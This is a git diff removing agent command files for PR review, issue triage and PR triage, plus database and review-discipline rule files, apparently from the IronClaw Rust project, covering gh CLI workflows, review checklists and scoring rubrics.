- For large crates (>50 files), prioritize: core logic > public API > internal utilities > tests > examples.
|
||||
- Use the Task tool to parallelize file reading across modules when the crate is large.
|
||||
- Do NOT fix anything. This is a read-only audit. Report findings for the user to action.
|
||||
@@ -1,170 +0,0 @@
|
||||
---
|
||||
description: Paranoid architect review of a PR — fetches diff, reads changed files, deep review across 6 lenses, posts findings as GitHub comments
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh pr comment:*), Bash(gh api:*), Bash(gh repo view:*), Bash(git diff:*), Bash(git log:*), Read, Grep, Glob
|
||||
argument-hint: "<pr-number or github-pr-url>"
|
||||
---
|
||||
|
||||
# Paranoid Architect Code Review
|
||||
|
||||
You are reviewing this PR as a paranoid architect. Your job is to find every bug, vulnerability, race condition, edge case, and undocumented assumption before it ships. Assume adversarial users, concurrent access, and Murphy's law.
|
||||
|
||||
## Step 1: Resolve the PR
|
||||
|
||||
Parse `$ARGUMENTS` to extract the PR number:
|
||||
- If it's a URL like `https://github.com/owner/repo/pull/123`, extract `123`.
|
||||
- If it's a bare number, use it directly.
|
||||
- If empty, stop and ask the user for a PR number.
|
||||
|
||||
Fetch PR metadata (including head commit SHA for posting line comments later):
|
||||
|
||||
```
|
||||
gh pr view {number} --json title,body,baseRefName,headRefName,headRefOid,files,additions,deletions
|
||||
```
|
||||
|
||||
Save the `headRefOid` value, you'll need it as `commit_id` in Step 6.
|
||||
|
||||
## Step 2: Load the full diff
|
||||
|
||||
```
|
||||
gh pr diff {number}
|
||||
```
|
||||
|
||||
Also get the list of changed files:
|
||||
|
||||
```
|
||||
gh pr diff {number} --name-only
|
||||
```
|
||||
|
||||
## Step 3: Read every changed file in full
|
||||
|
||||
For each changed file, read the ENTIRE current file (not just the diff hunks). You need surrounding context to catch:
|
||||
- Callers of modified functions that now behave differently
|
||||
- Trait/interface contracts that the change may violate
|
||||
- Invariants established elsewhere that the diff breaks
|
||||
|
||||
If the PR touches more than 20 files, still read all of them, but process in this priority order: service logic > routes/handlers > models/types > tests > docs. Batch reads in groups of ~20 if needed.
|
||||
|
||||
## Step 4: Deep review
|
||||
|
||||
Go through the changes with each of these lenses. For every finding, note the file, line range, severity, and a concrete description.
|
||||
|
||||
### IronClaw-specific checks
|
||||
|
||||
In addition to the general lenses below, check IronClaw conventions (see CLAUDE.md):
|
||||
- No `.unwrap()` or `.expect()` in production code (tests are fine)
|
||||
- Use `crate::` imports, not `super::`
|
||||
- Error types use `thiserror` in `error.rs`
|
||||
- If the change touches persistence, verify both database backends are updated (PostgreSQL in `postgres.rs` AND libSQL in `libsql_backend.rs`)
|
||||
- New tools must implement the `Tool` trait correctly and be registered in `registry.rs`
|
||||
- External tool output must pass through the safety layer
|
||||
|
||||
### 4a. Correctness and bugs
|
||||
|
||||
- Off-by-one errors, wrong comparison operators, inverted conditions
|
||||
- Unreachable code, dead branches, impossible match arms
|
||||
- Type confusion (mixing up IDs, using wrong enum variant)
|
||||
- Incorrect error propagation (swallowed errors, wrong error type/status code)
|
||||
- Broken invariants (e.g. uniqueness assumptions violated, ordering assumptions wrong)
|
||||
- Concurrency issues (TOCTOU, missing locks, race conditions between check and use)
|
||||
|
||||
### 4b. Edge cases and failure handling
|
||||
|
||||
- What happens with empty input, None/null, zero-length collections?
|
||||
- What happens when external services fail (DB down, HTTP timeout, malformed response)?
|
||||
- What happens at integer boundaries (overflow, underflow, i64::MAX)?
|
||||
- What happens with malformed or adversarial input (invalid UTF-8, huge payloads, deeply nested JSON)?
|
||||
- Are all error paths tested? Does every `?` propagation make sense?
|
||||
- Are partial failures handled (e.g. wrote to DB but failed to emit event)?
|
||||
|
||||
### 4c. Security (assume a malicious actor)
|
||||
|
||||
- **Authentication/Authorization bypass**: Can an unauthenticated user reach this? Can workspace A's user access workspace B's data? Are there IDOR vulnerabilities?
|
||||
- **Injection**: SQL injection via string interpolation? Command injection? Log injection? Header injection?
|
||||
- **Data leakage**: Are secrets, PII, or conversation content logged? Returned in error messages? Exposed in API responses?
|
||||
- **Resource exhaustion / DoS**: Can an attacker send unbounded input? Trigger expensive operations without rate limits? Cause OOM via large allocations?
|
||||
- **Financial abuse**: Can tokens/credits be consumed without being tracked? Can usage limits be bypassed?
|
||||
- **Replay / race conditions**: Can the same request be replayed for double-spend? Can concurrent requests bypass limits?
|
||||
- **Cryptographic issues**: Timing attacks on comparisons? Weak randomness? Missing HMAC verification?
|
||||
|
||||
### 4d. Test coverage
|
||||
|
||||
- Is every new public function/method tested?
|
||||
- Are error paths tested (not just happy paths)?
|
||||
- Are edge cases covered (empty input, boundary values, concurrent access)?
|
||||
- Do existing tests still make sense with the new changes, or do they assert stale behavior?
|
||||
- Are there integration/e2e tests for the full flow?
|
||||
- If a test is missing, describe exactly what test should be written.
|
||||
|
||||
### 4e. Documentation and assumptions
|
||||
|
||||
- Are new assumptions documented in comments? (e.g. "this field is always non-empty because X")
|
||||
- Are non-obvious algorithms or business rules explained?
|
||||
- Are API contracts (request/response shapes, error codes, status codes) documented?
|
||||
- Are there TODO/FIXME/HACK comments that should be tracked as issues?
|
||||
|
||||
### 4f. Architectural concerns
|
||||
|
||||
- Does this change follow existing patterns in the codebase, or does it introduce a new one without justification?
|
||||
- Are there unnecessary abstractions or premature generalizations?
|
||||
- Is there duplicated logic that should be extracted?
|
||||
- Are dependencies between modules clean, or does this create circular/tight coupling?
|
||||
- Will this change make future work harder?
|
||||
|
||||
## Step 5: Present findings
|
||||
|
||||
Summarize findings to the user as a table:
|
||||
|
||||
| # | Severity | Category | File:Line | Finding | Suggested Fix |
|
||||
|---|----------|----------|-----------|---------|---------------|
|
||||
|
||||
Severity levels:
|
||||
- **Critical**: Security vulnerability, data loss, or financial exploit
|
||||
- **High**: Bug that will cause incorrect behavior in production
|
||||
- **Medium**: Robustness issue, missing validation, or incomplete error handling
|
||||
- **Low**: Style, naming, documentation, or minor improvement
|
||||
- **Nit**: Optional suggestion, take-it-or-leave-it
|
||||
|
||||
Ask the user which findings to post as PR comments. Default: all Critical, High, and Medium.
|
||||
|
||||
## Step 6: Post comments on GitHub
|
||||
|
||||
Resolve the repo owner and name if not already known:
|
||||
|
||||
```
|
||||
gh repo view --json owner,name --jq '"\(.owner.login)/\(.name)"'
|
||||
```
|
||||
|
||||
For each approved finding, post a review comment on the PR at the specific file and line. Use the `headRefOid` from Step 1 as the `commit_id`:
|
||||
|
||||
```
|
||||
gh api repos/{owner}/{repo}/pulls/{number}/comments \
|
||||
-f body="..." \
|
||||
-f path="..." \
|
||||
-f commit_id="{headRefOid}" \
|
||||
-F line=... \
|
||||
-f side="RIGHT"
|
||||
```
|
||||
|
||||
For findings that span multiple locations or are architectural, post as a regular PR comment:
|
||||
|
||||
```
|
||||
gh pr comment {number} --body "..."
|
||||
```
|
||||
|
||||
Format each comment clearly:
|
||||
- Severity tag (e.g. `**High Severity**`)
|
||||
- One-line summary
|
||||
- Detailed explanation of the issue
|
||||
- Concrete suggestion for the fix (with code if possible)
|
||||
|
||||
## Rules
|
||||
|
||||
- Read every changed file in full before writing a single finding. Context matters.
|
||||
- Never post a comment about code you haven't actually read. Verify line numbers against the actual file.
|
||||
- Be specific. "This might have issues" is useless. "Line 42 returns 404 but should return 400 because X" is useful.
|
||||
- Distinguish between "this IS a bug" and "this COULD be a bug if X". Be honest about certainty.
|
||||
- Don't nitpick formatting or style unless it causes actual confusion. Focus on substance.
|
||||
- If the code is good and you find nothing, say so. Don't invent problems to look thorough.
|
||||
- Respect the project's CLAUDE.md privacy rules: never include customer data, secrets, or PII in comments.
|
||||
- When in doubt about severity, round up. It's cheaper to dismiss a false alarm than to miss a real bug.
|
||||
@@ -1,257 +0,0 @@
|
||||
---
|
||||
description: Triage open GitHub issues — split into bugs vs features, rank by severity/opportunity, and flag under-specified issues
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(gh issue list:*), Bash(gh issue view:*), Bash(gh api:*), Bash(git log:*), Read, Grep, Glob, Task
|
||||
argument-hint: "[--label=<filter>] [--milestone=<filter>]"
|
||||
---
|
||||
|
||||
# Issue Triage
|
||||
|
||||
You are triaging all open issues on this repository. Your job is to split them into **bugs** and **feature requests**, rank each group, assess how well-specified each issue is, and produce an actionable triage report.
|
||||
|
||||
## Step 1: Fetch all open issues
|
||||
|
||||
Fetch every open issue with metadata:
|
||||
|
||||
```
|
||||
gh issue list --state open --limit 200 --json number,title,author,labels,assignees,createdAt,updatedAt,body,commentsCount,reactionGroups,milestone
|
||||
```
|
||||
|
||||
If `$ARGUMENTS` contains `--label=<X>`, append `--label '<X>'` to the command. If it contains `--milestone=<X>`, append `--milestone '<X>'` to the command.
|
||||
|
||||
Also fetch recently closed issues (last 14 days) to detect duplicates and already-resolved work:
|
||||
|
||||
```
|
||||
gh issue list --state closed --search "closed:>=$(date -v-14d +%Y-%m-%d)" --limit 100 --json number,title,body,labels,closedAt
|
||||
```
|
||||
|
||||
**Exclude pull requests** — `gh issue list` may include PRs. Fetch open PR numbers to filter them out:
|
||||
|
||||
```
|
||||
gh pr list --state open --json number --jq '.[].number'
|
||||
```
|
||||
|
||||
Remove any issue whose number appears in this list.
|
||||
|
||||
## Step 2: Classify each issue as Bug or Feature
|
||||
|
||||
Read each issue's title, body, and labels to classify it into one of these categories:
|
||||
|
||||
### Bugs
|
||||
Issues that describe **broken existing behavior** — something that worked or should work but doesn't. Signals:
|
||||
- Labels: `bug`, `defect`, `regression`, `crash`, `error`
|
||||
- Title/body keywords: "broken", "fails", "crash", "panic", "error", "regression", "doesn't work", "unexpected behavior"
|
||||
- Includes reproduction steps or error output
|
||||
- References existing functionality not working as documented
|
||||
|
||||
### Feature Requests
|
||||
Issues that describe **new or enhanced behavior** — something that doesn't exist yet. Signals:
|
||||
- Labels: `enhancement`, `feature`, `feature-request`, `improvement`, `proposal`
|
||||
- Title/body keywords: "add", "support", "implement", "would be nice", "proposal", "RFC", "new"
|
||||
- Describes a capability the project doesn't have
|
||||
- Proposes a design or API change
|
||||
|
||||
### Ambiguous
|
||||
If an issue doesn't clearly fit either category (e.g., "improve X performance" could be a bug or a feature), classify it as **Ambiguous** and note why.
|
||||
|
||||
## Step 3: Rate issue detail level
|
||||
|
||||
For each issue, assess how well-specified it is on a 3-tier scale:
|
||||
|
||||
| Detail Level | Criteria |
|
||||
|-------------|----------|
|
||||
| **Well-specified** | Has clear description of what/why, reproduction steps (bugs) or user story (features), acceptance criteria or expected behavior, and enough context to start working immediately |
|
||||
| **Adequate** | Describes the problem or request clearly, but missing some detail — no repro steps, vague acceptance criteria, or unclear scope. Needs 1-2 clarifying questions before work can start |
|
||||
| **Under-specified** | Vague title-only or single-sentence body, no context on why it matters, no clear definition of done. Needs significant discussion before it's actionable |
|
||||
|
||||
Indicators of good specification:
|
||||
- Code snippets, error logs, or screenshots
|
||||
- Steps to reproduce (bugs)
|
||||
- Proposed API/behavior (features)
|
||||
- Links to related issues or discussions
|
||||
- Clear "done when" criteria
|
||||
|
||||
## Step 4: Rank bugs by severity
|
||||
|
||||
Score each bug on these dimensions and compute an overall severity rank:
|
||||
|
||||
### Impact (1-4)
|
||||
| Score | Level | Description |
|
||||
|-------|-------|-------------|
|
||||
| 4 | **Critical** | Data loss, security vulnerability, complete feature broken, crash in common path |
|
||||
| 3 | **High** | Major feature degraded, workaround exists but painful, affects many users |
|
||||
| 2 | **Medium** | Minor feature broken, easy workaround, affects subset of users |
|
||||
| 1 | **Low** | Cosmetic, edge case, documentation error, minor inconvenience |
|
||||
|
||||
### Urgency (1-3)
|
||||
| Score | Level | Description |
|
||||
|-------|-------|-------------|
|
||||
| 3 | **Urgent** | Security issue, regression in recent release, blocking other work |
|
||||
| 2 | **Normal** | Should be fixed in next release cycle |
|
||||
| 1 | **Low** | Fix when convenient, backlog-worthy |
|
||||
|
||||
### Scope (1-3)
|
||||
| Score | Level | Description |
|
||||
|-------|-------|-------------|
|
||||
| 3 | **Broad** | Affects core path, multiple modules, or all users |
|
||||
| 2 | **Moderate** | Affects one module or a specific configuration |
|
||||
| 1 | **Narrow** | Affects edge case or single obscure path |
|
||||
|
||||
**Bug severity score** = Impact × 2 + Urgency + Scope (base max 14)
|
||||
|
||||
Apply a one-time +2 boost if any of the following are true (max 16):
|
||||
- Has a linked PR already (someone is working on it — fast-track review)
|
||||
- Is labeled `security`
|
||||
- Is a regression (worked before, broken now)
|
||||
|
||||
## Step 5: Rank features by opportunity
|
||||
|
||||
Score each feature request on these dimensions:
|
||||
|
||||
### Value (1-4)
|
||||
| Score | Level | Description |
|
||||
|-------|-------|-------------|
|
||||
| 4 | **High** | Unlocks new use cases, frequently requested, strategic alignment |
|
||||
| 3 | **Medium-High** | Significant quality-of-life improvement, good user demand signals |
|
||||
| 2 | **Medium** | Nice to have, modest improvement to existing workflow |
|
||||
| 1 | **Low** | Marginal value, niche use case, unclear demand |
|
||||
|
||||
Look for value signals in the issue:
|
||||
- Number of thumbs-up reactions or "+1" comments
|
||||
- Multiple people asking for the same thing
|
||||
- Alignment with project roadmap (check CLAUDE.md TODOs)
|
||||
- Unblocks other features or simplifies architecture
|
||||
|
||||
### Effort estimate (1-3, inverted — lower effort = higher score)
|
||||
| Score | Level | Description |
|
||||
|-------|-------|-------------|
|
||||
| 3 | **Small** | <1 day, isolated change, clear implementation path |
|
||||
| 2 | **Medium** | 1-3 days, touches a few modules, some design needed |
|
||||
| 1 | **Large** | 3+ days, cross-cutting, needs RFC or architectural discussion |
|
||||
|
||||
### Readiness (1-3)
|
||||
| Score | Level | Description |
|
||||
|-------|-------|-------------|
|
||||
| 3 | **Ready** | Well-specified, implementation path clear, no blockers |
|
||||
| 2 | **Almost ready** | Needs minor clarification, but scope is understood |
|
||||
| 1 | **Not ready** | Needs design discussion, has open questions, blocked by other work |
|
||||
|
||||
**Opportunity score** = Value × 2 + Effort + Readiness (base max 14)
|
||||
|
||||
Apply a one-time +2 boost if any of the following are true (max 16):
|
||||
- A community member offered to implement it
|
||||
- It has a linked draft PR
|
||||
- It closes a gap listed in the project's "Current Limitations / TODOs"
|
||||
|
||||
## Step 6: Detect duplicates and relationships
|
||||
|
||||
Check for:
|
||||
- **Duplicates** — Issues describing the same bug or requesting the same feature (compare titles and bodies)
|
||||
- **Related clusters** — Groups of issues around the same area (e.g., multiple workspace issues, multiple CLI issues)
|
||||
- **Already fixed** — Open issues that may have been resolved by recently closed issues or merged PRs
|
||||
- **Blockers** — Issues that reference other issues as prerequisites ("depends on #N", "blocked by #N")
|
||||
- **Epic candidates** — Multiple small issues that could be grouped under a single tracking issue
|
||||
|
||||
## Step 7: Produce the triage report
|
||||
|
||||
Present the output in this format:
|
||||
|
||||
### Quick Stats
|
||||
|
||||
```
|
||||
Open: N | Bugs: N | Features: N | Ambiguous: N
|
||||
Well-specified: N | Adequate: N | Under-specified: N
|
||||
Unassigned: N | Stale (>30d): N
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Critical Bugs (Severity 12+)
|
||||
|
||||
Bugs that need immediate attention. For each:
|
||||
|
||||
| # | Title | Severity | Impact | Detail | Age | Assignee |
|
||||
|---|-------|----------|--------|--------|-----|----------|
|
||||
|
||||
Include a 1-line summary of the root cause if discernible from the issue.
|
||||
|
||||
### High-Priority Bugs (Severity 8-12)
|
||||
|
||||
Same table format. These should be addressed in the next release cycle.
|
||||
|
||||
### Medium/Low Bugs (Severity <8)
|
||||
|
||||
Compact table, sorted by severity descending.
|
||||
|
||||
---
|
||||
|
||||
### Quick Wins (Opportunity 12+ AND Effort = Small)
|
||||
|
||||
Features that are high-value and low-effort — do these first. For each:
|
||||
|
||||
| # | Title | Opportunity | Value | Effort | Detail | Age |
|
||||
|---|-------|-------------|-------|--------|--------|-----|
|
||||
|
||||
### High-Opportunity Features (Opportunity 10+)
|
||||
|
||||
Same table format. Worth investing in.
|
||||
|
||||
### Backlog Features (Opportunity <10)
|
||||
|
||||
Compact table, sorted by opportunity descending.
|
||||
|
||||
---
|
||||
|
||||
### Under-Specified Issues (Need Clarification)
|
||||
|
||||
Issues rated "Under-specified" that can't be triaged effectively. For each, suggest 1-2 specific questions to ask the author to make it actionable.
|
||||
|
||||
| # | Title | Type | What's missing |
|
||||
|---|-------|------|---------------|
|
||||
|
||||
### Ambiguous Issues (Bug or Feature?)
|
||||
|
||||
Issues that couldn't be clearly classified. For each, explain the ambiguity and suggest which category it likely belongs in.
|
||||
|
||||
---
|
||||
|
||||
### Duplicates & Overlaps
|
||||
|
||||
Groups of issues that appear to be duplicates or closely related. Recommend which to keep and which to close.
|
||||
|
||||
### Already Fixed?
|
||||
|
||||
Open issues that may have been resolved by recently closed issues or merged PRs.
|
||||
|
||||
### Stale Issues (>30 days, no activity)
|
||||
|
||||
Issues with no updates in 30+ days. Recommend: close, ping author, or keep.
|
||||
|
||||
---
|
||||
|
||||
### By Area
|
||||
|
||||
Group all issues by the area of the codebase they affect (infer from title/body/labels):
|
||||
|
||||
| Area | Bugs | Features | Top Priority |
|
||||
|------|------|----------|-------------|
|
||||
|
||||
### Suggested Next Actions
|
||||
|
||||
Based on the triage, provide 3-5 concrete recommendations:
|
||||
1. Which bugs to fix first and why
|
||||
2. Which quick-win features to pick up
|
||||
3. Which under-specified issues to clarify
|
||||
4. Which stale issues to close
|
||||
5. Any clusters that suggest a larger initiative
|
||||
|
||||
## Rules
|
||||
|
||||
- Use `gh` CLI for all GitHub operations. Never guess issue state — always check.
|
||||
- For large issue lists (>20), use the Task tool to parallelize fetching issue details and comments.
|
||||
- Be concise in summaries. One line per issue in tables.
|
||||
- When scoring, be honest about uncertainty. If you can't tell severity from the description, say so and rate it conservatively.
|
||||
- Factor in issue age — older unresolved bugs may indicate they're less critical than they seem, or that they're hard to fix. Note this in your assessment.
|
||||
- Check comment threads for additional context that the original body may lack. An under-specified issue with rich discussion may actually be well-understood.
|
||||
- Do NOT post comments, close issues, or take any action. This skill is read-only analysis.
|
||||
- If the repo has >100 open issues, focus the detailed analysis on the top 30 by recency and engagement (comments + reactions), and provide a summary table for the rest.
|
||||
@@ -1,161 +0,0 @@
|
||||
---
|
||||
description: Classify all open PRs by module, review state, scope, and architectural impact — produces a prioritized triage dashboard
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(gh pr list:*), Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh api:*), Bash(gh pr checks:*), Bash(git log:*), Read, Grep, Glob, Task
|
||||
argument-hint: "[--label=<filter>] [--author=<filter>]"
|
||||
---
|
||||
|
||||
# PR Triage Dashboard
|
||||
|
||||
You are triaging all open PRs on this repository. Your job is to produce a prioritized, module-grouped dashboard that tells the maintainer exactly which PRs need attention and in what order.
|
||||
|
||||
## Step 1: Fetch all open PRs
|
||||
|
||||
Fetch every open PR with metadata:
|
||||
|
||||
```
|
||||
gh pr list --state open --limit 100 --json number,title,author,labels,additions,deletions,headRefName,createdAt,updatedAt,isDraft,reviewRequests,reviews,files,body
|
||||
```
|
||||
|
||||
If `$ARGUMENTS` contains `--label=<X>`, append `--label '<X>'` to the `gh pr list` command. If it contains `--author=<X>`, append `--author '<X>'` to the command.
|
||||
|
||||
Also fetch recently merged PRs (last 7 days) to detect superseded/conflicting work:
|
||||
|
||||
```
|
||||
gh pr list --state merged --search "merged:>=$(date -v-7d +%Y-%m-%d)" --limit 100 --json number,title,body,mergedAt
|
||||
```
|
||||
|
||||
## Step 2: Classify each PR by module
|
||||
|
||||
For each open PR, determine the primary module it touches by examining the `files` field. Classify into these categories based on the dominant `src/` subdirectory:
|
||||
|
||||
| Category | Directories |
|
||||
|----------|------------|
|
||||
| **LLM & Inference** | `src/llm/` |
|
||||
| **Agent Core** | `src/agent/`, `src/skills/` |
|
||||
| **Tools** | `src/tools/`, `tools-src/` |
|
||||
| **Channels** | `src/channels/`, `channels-src/` |
|
||||
| **Storage & Memory** | `src/db/`, `src/workspace/`, `migrations/` |
|
||||
| **Security** | `src/safety/`, `src/secrets/` |
|
||||
| **Config & Setup** | `src/config.rs`, `src/setup/`, `src/cli/` |
|
||||
| **Sandbox & Orchestration** | `src/sandbox/`, `src/orchestrator/`, `src/worker/` |
|
||||
| **Hooks & Extensions** | `src/hooks/`, `src/extensions/` |
|
||||
| **Context & History** | `src/context/`, `src/history/`, `src/estimation/`, `src/evaluation/` |
|
||||
| **Web Gateway** | `src/channels/web/` |
|
||||
| **CI/CD & Docs** | `.github/`, `README.md`, `CLAUDE.md`, `*.md` (no src) |
|
||||
| **Other** | Anything else |
|
||||
|
||||
If a PR touches multiple modules, assign it to the **primary** module (most files changed) but note the cross-cutting modules.
|
||||
|
||||
## Step 3: Assess review state
|
||||
|
||||
For each PR, determine its review status:
|
||||
|
||||
- **Approved** — At least one human APPROVED review, no outstanding CHANGES_REQUESTED
|
||||
- **Changes requested** — At least one CHANGES_REQUESTED review still unresolved
|
||||
- **Reviewed (comments only)** — Human comments but no formal approve/reject
|
||||
- **Automated only** — Only bot reviews (gemini-code-assist, copilot, etc.)
|
||||
- **No review** — No reviews at all
|
||||
|
||||
Also check:
|
||||
- CI status: `gh pr checks {number}` — PASS / FAIL / NONE
|
||||
- Draft status: is the PR marked as draft?
|
||||
- Staleness: how many days since `updatedAt`?
|
||||
|
||||
## Step 4: Determine scope and risk
|
||||
|
||||
Classify each PR by scope:
|
||||
|
||||
| Scope | Criteria |
|
||||
|-------|----------|
|
||||
| **Tiny** | <50 lines changed (additions + deletions), 1-2 files |
|
||||
| **Small** | 50-200 lines, 1-5 files |
|
||||
| **Medium** | 200-500 lines, 3-10 files |
|
||||
| **Large** | 500-2000 lines, 5-20 files |
|
||||
| **XL** | 2000+ lines or 20+ files |
|
||||
|
||||
## Step 5: Classify as fix vs. architectural
|
||||
|
||||
For each PR, determine its nature:
|
||||
|
||||
### Fixes (merge fast)
|
||||
- Bug fixes with clear root cause
|
||||
- Security patches
|
||||
- Crash/panic prevention
|
||||
- Typo/doc corrections
|
||||
- Code quality (removing .unwrap(), etc.)
|
||||
|
||||
### Features (standard review)
|
||||
- New functionality within existing patterns
|
||||
- New tool implementations
|
||||
- Configuration additions
|
||||
- Test additions
|
||||
|
||||
### Architectural (deep review needed)
|
||||
- New modules or subsystems
|
||||
- Changes to core traits or interfaces
|
||||
- New database backends or storage engines
|
||||
- New provider abstractions
|
||||
- Changes touching 5+ modules
|
||||
- Anything modifying the agent loop, session model, or security layer
|
||||
- New dependencies (check Cargo.toml changes)
|
||||
|
||||
## Step 6: Detect conflicts and superseded PRs
|
||||
|
||||
Check for:
|
||||
- Multiple PRs fixing the same issue (look at "Closes #N" / "Fixes #N" in PR bodies)
|
||||
- PRs touching the same files (potential merge conflicts)
|
||||
- PRs that are follow-ups to other open PRs (dependency chains)
|
||||
- PRs superseded by recently merged work
|
||||
|
||||
## Step 7: Produce the dashboard
|
||||
|
||||
Present the output in this format:
|
||||
|
||||
### Quick Stats
|
||||
```
|
||||
Open: N | Draft: N | Needs review: N | Changes requested: N | Ready to merge: N
|
||||
```
|
||||
|
||||
### Ready to Merge
|
||||
PRs that are approved, CI passing, and non-draft. List with one-line summary.
|
||||
|
||||
### Needs Human Review (Fixes)
|
||||
Fixes that have no human review yet, sorted by severity (security > crash > bug > quality).
|
||||
|
||||
### Needs Human Review (Features)
|
||||
Features with no human review, sorted by scope (smallest first).
|
||||
|
||||
### Needs Deep Architectural Review
|
||||
Large/XL PRs, new modules, or cross-cutting changes. For each, include:
|
||||
- Which modules are affected
|
||||
- What new patterns or abstractions are introduced
|
||||
- Key risk areas to focus review on
|
||||
|
||||
### Changes Requested (Waiting on Author)
|
||||
PRs where a reviewer asked for changes. Include who requested and a 1-line summary of what's needed.
|
||||
|
||||
### Stale / Blocked
|
||||
PRs with no activity >7 days, or blocked by other PRs.
|
||||
|
||||
### Conflicts & Overlaps
|
||||
Any detected conflicts, superseded PRs, or dependency chains.
|
||||
|
||||
### By Module
|
||||
Group all PRs by their primary module in a compact table:
|
||||
|
||||
| Module | PRs | Key PR to review first |
|
||||
|--------|-----|----------------------|
|
||||
|
||||
### Superseded PRs (recommend closing)
|
||||
PRs that are clearly superseded by merged work. Include reasoning.
|
||||
|
||||
## Rules
|
||||
|
||||
- Use `gh` CLI for all GitHub operations. Never guess PR state — always check.
|
||||
- For large PR lists (>15), use the Task tool to parallelize fetching PR details and diffs.
|
||||
- Be concise in summaries. One line per PR in tables.
|
||||
- When assessing "ready to merge", be conservative. If there's any unresolved concern from a repo member, it's not ready.
|
||||
- Flag any PR that has been open >14 days with no review as needing attention.
|
||||
- If a PR description says "Closes #N" but #N was already closed by another merged PR, flag it as potentially superseded.
|
||||
- Do NOT post comments or take any action on PRs. This skill is read-only analysis.
|
||||
@@ -1,63 +0,0 @@
|
||||
---
|
||||
paths:
|
||||
- "src/db/**"
|
||||
- "src/history/**"
|
||||
- "migrations/**"
|
||||
---
|
||||
# Database Rules
|
||||
|
||||
Dual-backend persistence: PostgreSQL + libSQL/Turso. **All new persistence features must support both backends.**
|
||||
|
||||
See `src/db/CLAUDE.md` for full schema, dialect differences, and libSQL limitations.
|
||||
|
||||
## Adding a New Operation
|
||||
|
||||
1. Decide which sub-trait it belongs to (`ConversationStore`, `JobStore`, `SandboxStore`, `RoutineStore`, `ToolFailureStore`, `SettingsStore`, `WorkspaceStore`) or create a new one
|
||||
2. Add the async method signature to that sub-trait in `src/db/mod.rs`
|
||||
3. Implement in `src/db/postgres.rs` (delegate to `Store`/`Repository`)
|
||||
4. Implement in `src/db/libsql/<module>.rs` (use `self.connect().await?` per operation)
|
||||
5. Add migration if needed:
|
||||
- PostgreSQL: new `migrations/VN__description.sql`
|
||||
- libSQL: add `CREATE TABLE IF NOT EXISTS` to `libsql_migrations.rs`
|
||||
6. Test feature isolation:
|
||||
```bash
|
||||
cargo check # postgres (default)
|
||||
cargo check --no-default-features --features libsql # libsql only
|
||||
cargo check --all-features # both
|
||||
```
|
||||
|
||||
## SQL Dialect Translation Checklist
|
||||
|
||||
When writing SQL for both backends, translate these types:
|
||||
|
||||
| PostgreSQL | libSQL |
|
||||
|-----------|--------|
|
||||
| `UUID` | `TEXT` |
|
||||
| `TIMESTAMPTZ` | `TEXT` (ISO-8601, write with `fmt_ts()`, read with `get_ts()`) |
|
||||
| `JSONB` | `TEXT` (JSON string) |
|
||||
| `BOOLEAN` | `INTEGER` (0/1 -- use `get_i64(row, idx) != 0` to read) |
|
||||
| `NUMERIC` | `TEXT` (preserves `rust_decimal` precision) |
|
||||
| `TEXT[]` | `TEXT` (JSON-encoded array) |
|
||||
| `VECTOR` | `BLOB` (flexible dimensions; vector index dropped, brute-force search fallback) |
|
||||
| `jsonb_set(col, '{key}', val)` | `json_patch(col, '{"key": val}')` -- replaces top-level keys entirely, cannot do partial nested updates |
|
||||
| `DEFAULT NOW()` | `DEFAULT (datetime('now'))` |
|
||||
| `tsvector` + `ts_rank_cd` | FTS5 virtual table + sync triggers |
|
||||
|
||||
## Schema Translation Beyond DDL
|
||||
|
||||
Don't just translate `CREATE TABLE`. Also check:
|
||||
- **Indexes** -- diff `CREATE INDEX` statements between backends
|
||||
- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`)
|
||||
- **Triggers** -- PostgreSQL functions vs SQLite triggers (no stored procs in SQLite)
|
||||
|
||||
## Transaction Safety
|
||||
|
||||
Multi-step operations (INSERT+INSERT, UPDATE+DELETE, read-modify-write) MUST be wrapped in a transaction. Ask: "If this crashes between step N and N+1, is the database consistent?" If not, wrap in a transaction. Applies to both backends.
|
||||
|
||||
## libSQL Connection Model
|
||||
|
||||
`LibSqlBackend::connect()` creates a fresh connection per operation with `PRAGMA busy_timeout = 5000`. This is intentional -- no pool exists. Never hold connections open across `await` points. Satellite stores (`LibSqlSecretsStore`, `LibSqlWasmToolStore`) receive `Arc<LibSqlDatabase>` via `shared_db()` and call `.connect()` themselves -- never pass a live `Connection`.
|
||||
|
||||
## Fix the Pattern, Not the Instance
|
||||
|
||||
When fixing a bug in one backend's SQL, always grep for the same pattern in the other. A fix to `postgres.rs` that doesn't also fix `libsql/jobs.rs` is half a fix. Same applies to satellite stores.
|
||||
@@ -1,48 +0,0 @@
|
||||
---
|
||||
paths:
|
||||
- "src/**/*.rs"
|
||||
---
|
||||
# Review & Fix Discipline
|
||||
|
||||
Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback.
|
||||
|
||||
**Fix the pattern, not just the instance:** When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix.
|
||||
|
||||
**Propagate architectural fixes to satellite types:** If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model must also be updated. Grep for the old type across the codebase.
|
||||
|
||||
**Schema translation is more than DDL:** When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for:
|
||||
- **Indexes** -- diff `CREATE INDEX` statements between the two schemas
|
||||
- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`)
|
||||
- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`)
|
||||
|
||||
**Feature flag testing:** When adding feature-gated code, test compilation with each feature in isolation:
|
||||
```bash
|
||||
cargo check # default features
|
||||
cargo check --no-default-features --features libsql # libsql only
|
||||
cargo check --all-features # all features
|
||||
```
|
||||
|
||||
**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically.
|
||||
|
||||
